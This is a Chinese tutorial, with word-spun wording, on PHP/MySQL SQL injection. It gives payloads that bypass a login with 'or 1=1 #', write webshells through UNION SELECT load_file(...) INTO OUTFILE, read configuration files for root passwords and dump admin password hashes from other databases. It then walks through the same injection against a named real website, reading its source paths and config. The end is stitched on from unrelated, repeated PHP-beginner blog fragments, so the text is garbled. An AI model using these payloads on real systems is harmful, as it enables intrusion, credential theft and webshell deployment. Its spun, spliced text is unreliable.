PHP网站制作之php注入4
会HTML吗?会,我能编好几个大表格排板的网页啦! 4. md5的噩梦山东大学的王博士比来可是弄md5弄的红透了,咱们也来弄一弄吧,咱们比他更爽,不必盘算,哈哈。
md5咱们是有举措绕过的,然而并非哪里都可以,php中的md5函数就不克不及绕过,由于你输出的一切器材都在外面,基本跑不出。可以绕过的是sql语句中的md5。固然其余sql中的函数也是可以绕过的,事理不异哦。
看例子先:
//login.php
......
$query="select * from alphaauthor where UserName=md5($username) and Password= ".$Pw." ";
......
?>
咱们直接在阅读器提交
http:/login.php?username=char(97,98)) or 1=1 %23
带入sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password= ".$Pw."
记得md5外面放的是字符,由于前面有or 1=2,所以咱们随意放了个char(97,98). Ok,上岸胜利了哦!看看,md5在咱们眼前也没有甚么用途。
5. 中心手艺,使用php+mysql注入破绽直接写入webshell。。
直接使用注入失掉webshell,这应当是人人都很想的吧,上面就教给你。
这里假定你已晓得了网站地点的物理途径,我这里假定网站途径为c:/apache/htdocs/site。网站的mysql毗连信息放在/lib/sql.inc.php里
1)合用于magic_quotes_gpc=Off
假定咱们可以上传图片,或txt,zip,等其它器材,咱们把咱们的木马改成
jpg后缀的,上传后途径为/upload/2004091201.jpg
2004091201.jpg中的内容为
好,咱们入手下手http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file( C:/apache/htdocs/site/upload/2004091201.jpg ),4,5,6,7,8,9,10,11%20into%20outfile C:/apache/htdocs/site/shell.php
由于合用了outfile,所以网页显示不正常,然而咱们的义务是完成了。
如图28
咱们从速去看看http://localhost/site/shell.php?cmd=dir
如图29 爽否?Webshell咱们已创立胜利了。看到最后面的12了没?那就是咱们select 1,2所输入的!
2)上面再讲一个合用于magic_quotes_gpc=On的时分保留webshell的办法哦,明显一定也能用在于magic_quotes_gpc=Off的时分啦。
咱们直接读他的设置装备摆设文件,用技能2引见的办法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870)
,4,5,6,7,8,9,10,11
失掉sql.inc.php内容为
好了咱们晓得了mysql的root暗码了,咱们找到phpmyadmin的后台
http://localhost/phpmyadmin/
用root暗码为空上岸。
如图30
然后咱们新创立一个表布局内容以下:
#
# 数据表的布局 `te`
#
CREATE TABLE te (
cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 导出上面的数据库内容 `te`
#
INSERT INTO te VALUES ( );
Ok,是咱们用select * from table into outfile 的时分了
直接在phpmyadmin的sql输出
SELECT * FROM `te` into outfile C:/apache/htdocs/site/cmd1.php ;
如图31
Ok,胜利履行,咱们去http://localhost/site/cmd1.php?cmd=dir看看后果去
如图32
好爽的一个webshell是吧!哈哈,我也很喜好。
不外不晓得人人有无发明咱们是在magic_quotes_gpc=On的情形下完成这项任务的,居然在phpmyadmin里可以不必思索引号的限制,哈哈,申明甚么?申明phpmyadmin太巨大了,这也就是咱们在谈magic_quotes_gpc=On绕过时所卖的谁人关子啦!
6.发明没有咱们还可以使用update和insert来拔出咱们的数据,然后来失掉咱们的webshell哦,还用下面的谁人例子,
//reg.php
......
$query = "INSERT INTO members
VALUES( $id , $login , $pass , $email , 2 )" ;
......
?>
咱们在email的中央输出
假定咱们注册后的id为10
那末咱们可以再找到一个可以注入的中央
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile C:/apache/htdocs/site/test.php
好了,咱们又有了咱们的wenshell了哦。
7.mysql的跨库查询
人人是否是一向传闻mysql不克不及跨库查询啊,哈哈,明天我将要教人人一个好办法,经由过程这个办法来完成变相的跨库查询,办法就是经由过程load_file来直接读出mysql中dat
a文件夹下的文件内容,从而完成反常跨库查询。
举个例子啦
在这之前咱们先讲一下mysql的data文件夹下的布局
Data文件夹下有按数据库名生成的文件夹,文件夹下依照表名生成三个后缀为frm,myd,myi的三个文件,例如
Mysql中有alpha数据库,在alpha库中有alphaauthor和alphadb两个表,
Alpha文件夹内容以下图33
个中alphadb.frm放着lphadb表中的数据,alphadb.frm放着表的布局,alphadb.myi中放的内容随mysql的版本欠亨会有所分歧,详细可以本人用记事本翻开来判别。
实行入手下手
假定咱们晓得有别的的一个数据库yminfo210存在,且存在表user,user中放这admin的信息。
咱们
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file( yminfo210/user.myd ),4,5,6,7,8,9,10,11
申明一下,load_file默许地点的目次是mysql下的data目次,所以咱们用
load_file( yminfo210/user.myd ),固然load_file( .info210/user.myd )也是一样的,注重的是into outfile的默许途径是在地点的数据库文件夹下。
了局如图34
咱们看读出来的内容
|? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answerhttp://www.yoursite.com(?[?KA[?[?127.0.0.1d|??aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd ?EKAMKA 127.0.0.1 222222222223423
固然乱码一堆,然而咱们仍是可以看出用户名是admin,暗码是698d51a19d8a121ce581499d7b701668,前面其它的是别的的信息。
经由过程这类办法咱们就完成了曲线跨库,上面的例子中也会提到哦!
说了这么多上面咱们来详细的利用一次,此次测试的对象是国际一有名平安类站点DD口角收集
听人家说口角有破绽?咱们一同去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常显示。
如图35
http://www.heibai.net/down/show.php?id=5403%20and%201=2
显示不正常。
如图36
好,咱们持续
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
显示了局以下
如图37
注重看图中没有显示法式名,并且还附带了
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\show.php on line 45
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\global.php on line 578
晕了,网站途径出来了,那可就逝世定了哦!
咱们持续,直到咱们猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的时分正常显示了。
如图38
好咱们转换语句成为
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
显示如图39
看看简介处显示为12,咱们可以猜想此处应当为字符型!
Ok,咱们上面看看文件内容先
D:/web/heibai/down/show.php转化成ascii后为
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,
104,111,119,46,112,104,112)
咱们
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,
111,119,46,112,104,112)),13,14,15,16,17,18,19
view-source:是指观察源代码,至于为何用,咱们前面将讲到
显示出它的源代码
如图40
由于在show.php中有一句
假如咱们直接在阅读器里提交会跳转到list.php
咱们发明这句require ("./include/config.inc.php");
好器材,应当放这设置装备摆设文件,ok持续
d:/web/heibai/down/include/config.inc.php
转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105
,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
咱们输出
当然你可以把你最基本的功能放出来的时候就放出来,比如放到论坛上,让大家都参与, Ps:以上纯属原创,如有雷同,纯属巧合 最后介绍一个代码出错,但是老找不到错误方法,就是 go to wc (囧),出去换换气没准回来就找到错误啦。 说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。 本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。 当留言板完成的时候,下步可以把做1个单人的blog程序,做为目标, 我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能: 开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。 本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。 曾经犯过一个很低级的错误,我在文件命名的时候用了一个横线\\\\\\\'-\\\\\\\' 号,结果找了好几个小时的错误,事实是命名的时候 是不能用横线 \\\\\\\'-\\\\\\\' 的,应该用的是下划线\\\\\\\'_\\\\\\\' ; ,熟悉html,能用div+css,还有javascript,优先考虑linux。我在开始学习的时候,就想把这些知识一起学习,我天真的认为同时学习能够互相呼应,因为知识是相通的。 个人呢觉得,配wamp 最容易漏的一步就是忘了把$PHP$目录下的libmysql.dll拷贝到windows系统目录的system32目录下,还有重启apache。 这些都是最基本最常用功能,我们这些菜鸟在系统学习后,可以先对这些功能深入研究。 刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。 我学习了一段时间后,我发现效果并不好(估计是我自身的问题)。因为一个人的精力总是有限的,同时学习这么多,会导致每个的学习时间都得不到保证。 说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。 曾经犯过一个很低级的错误,我在文件命名的时候用了一个横线\\\\\\\'-\\\\\\\' 号,结果找了好几个小时的错误,事实是命名的时候 是不能用横线 \\\\\\\'-\\\\\\\' 的,应该用的是下划线\\\\\\\'_\\\\\\\' ; 在我安装pear包的时候老是提示,缺少某某文件,才发现 那群extension 的排列是应该有一点的顺序,而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去,只留下我需要使用的扩展。 这些中手常用的知识,当你把我说的这些关键字都可以熟练运用的时候,你可以选择自己 本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。
页:
[1]